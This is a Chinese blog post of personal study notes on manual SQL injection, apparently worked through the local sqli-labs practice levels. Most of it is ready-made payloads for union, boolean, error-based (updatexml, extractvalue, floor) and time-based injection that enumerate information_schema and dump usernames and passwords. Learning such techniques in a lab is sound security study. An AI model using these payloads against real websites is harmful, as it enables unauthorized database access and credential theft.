sql注入(手注一些知识)

?表示有参数,需注意

语句必须跟上带有?的后面

判断能否sql注入

老方法:

select *from user where id=1and 1=1 limit0,1两个不一样证明有

select *from user where id=1and 1=2 limit0,1

新;

select*from user where id=1后面乱写执行后网站页面有差别证明输入的字符对数据库产生了影响

如果出现404报错跳转,证明没有漏洞

判断注入

order by x错误与正常的临界点

报错拆解准备

information_schema.tables 记录所有表名的表

information_schema.columns 记录所有列名的表

table_schema ‘数据库名’

table_name "表名"

信息收集

数据库版本 version

数据库名字 database

数据库用户 user

操作系统

5.0高本版 一下低版本

必要知识点在mysql5.0以上版本中存在一个自带数据库名为information_achema,它是一个储存记录所有数据库名,表名,列名

相当于可以通过他查询数据库下的表名

数据库中符号“.”代表下一级如xiao.user 表示xiao数据库下的user表名

information_schema.columns记录所有列名信息的表

information_schema.tables记录所有表名信息的表

查出数据库名字后

ID:-1 http://localhost/Less-2/?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --

找出security下的表都有↑

http://localhost/Less-2/?id=-1 union select 1,2, group_concat(column_name)from information_schema.columns where table_name='user' -- +

找出users表中的列↑

http://localhost/Less-3/?id=-1') union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users--

获得输出↑

布尔注入

and substr(database(),2,1)='q'--+ 通过返回值判断正误,一般页面变

报错注入

报错注入

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)

extractvalue

floor报错

1' and (select count(*) from information_schema.tables group by concat(0x7e,(select database()),0x7e ,floor(rand(0)*2))) --+

and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

比如13关

0admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) and ('

0admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and ('

0admin') and extractvalue(1,concat(0x7e,(select group_concat(username) from users))) and ('

count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

 

延时注入

例子 if(length(database())>1,sleep(5),1)

if(substr(database(),1,1)='s',sleep(5),1)

if(left(database(),1)='s',sleep(3),1)--+

意思是正确了,执行第二个

比如15关

admin' and if(length(database())=8,sleep(5),1) #Password:123

小知识

get请求用--+ post请求用#

uname=0admin' union select(select group_concat(username)from security.users),(select group_concat(password)from security.users)#

代码分析;union联合注入,select联合查询,

posted @ 2021-09-26 23:10  我吃白葡萄  阅读(129)  评论(0)    收藏  举报